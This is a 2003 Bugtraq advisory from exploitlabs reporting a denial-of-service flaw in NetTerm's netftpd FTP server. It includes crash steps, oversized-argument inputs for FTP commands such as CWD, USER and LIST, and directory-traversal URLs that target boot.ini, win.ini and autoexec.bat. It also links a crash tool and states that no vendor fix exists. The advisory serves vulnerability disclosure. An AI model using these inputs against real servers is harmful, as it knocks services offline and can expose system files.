

Netterm netftpd – Remote DoS

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2003-07/0259.html>

From: morning_wood (se_cur_ity_at_hotmail.com)

Date: 07/20/03

To: <bugtraq@securityfocus.com>

Date: Sat, 19 Jul 2003 22:21:52 -0700

– EXPL–A–2003–017 exploitlabs.com Advisory 017

-- netterm netftpd --

Vulnerability(s):

1. Remote / Local Denial of Service

Product:

netftpd.exe – integral to netterm – 4.2.8.e(i) [current]
all versions through current are affected

Description of product:

"NetTerm is a Windows based terminal emulator with fast zmodem file transfers. It can also be used as a dialer program for SLIP/PPP and includes a built in scripting language. For Internet hosts, the telnet protocol is enabled with VT100 and full ANSI graphics. A ftp server is included. Transparent printing and local host editing is supported for UNIX.
nt3242e.exe – 32 bit InterSoft@compuserve.com"

binary package – <http://www.secureneterm.com/pub/nt3242ei.exe>

mainpage – <http://www.netterm.com>

more info – <http://secureneterm.com/html/downloads.html>

VUNERABILITY / EXPLOIT

=====
by default netftpd uses c:\ as its base ftproot

SecurityFocus Bugtraq: Netterm netftpd – Remote DoS

netftpd.exe started with defaults
server: Windows XP Professional

----- snip -----

```
root@linuxbitch:/#ftp vulnerable[host].com
220 NetTerm FTP server ready
```

```
[ctlf][ctlf]
```

```
ftp>cd /windows/system32
```

```
ftp>ls ( or dir )
```

----- snip -----

remote ftpd server crashes

note: with logging and trace enabled in the options,
netftpd does not log any commands when crashed

sample crash output..

error1:

The instruction at "0x77f551c0" referenced memory at "0x00000000". the
memory could not be "read"

Click OK to terminate program

error2:

The instruction at "0x77f5310f" referenced memory at "0x656e776f" the
memory could not be "written"

Click OK to terminate program

these produce some odd behavior as well (in a browser)

```
ftp://[host]/c:%5C/c:%5C/../../../../
ftp://[host]/c:%5C/../../../../../../../../
ftp://[host]/../boot.ini
```

DrInsane helped with these...

If you send any of these ftp server will crash:)Even the user command has
problem.

```
Cwd [a] * 518
User [a] * 1110
List [a] * 518
Stu [a] * 518
Port [a] * 1110
Type [a] * 1110
Mkd [a] * 1110
Dele [a] * 1110
```

SecurityFocus Bugtraq: Netterm netftpd – Remote DoS

Rmd [a] * 1110

You can also try to give strings in you browser using HTML chars like:
(just for fun)

```
/%5c..%5c..%5c..%5cwindows%5cwin%2eini
```

```
/error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cautoexec.bat
```

DrInsane also has writen a sample prog that will crash the ftp.
(<http://members.lycos.co.uk/r34ct/main/godzillaDosTool/>).

Local:

yes

Remote:

yes

Vendor Fix:

No fix on 0day

Vendor Contact:

Concurrent with this advisory
support@securenetterm.com

Credits:

Donnie Werner
morning_wood@exploitlabs.com
<http://exploitlabs.com>

I would like to thank DrInsane and Nutcase for the input and help testing

Original advisory at

<http://exploitlabs.com/files/advisories/EXPL-A-2003-017-netftpd.txt>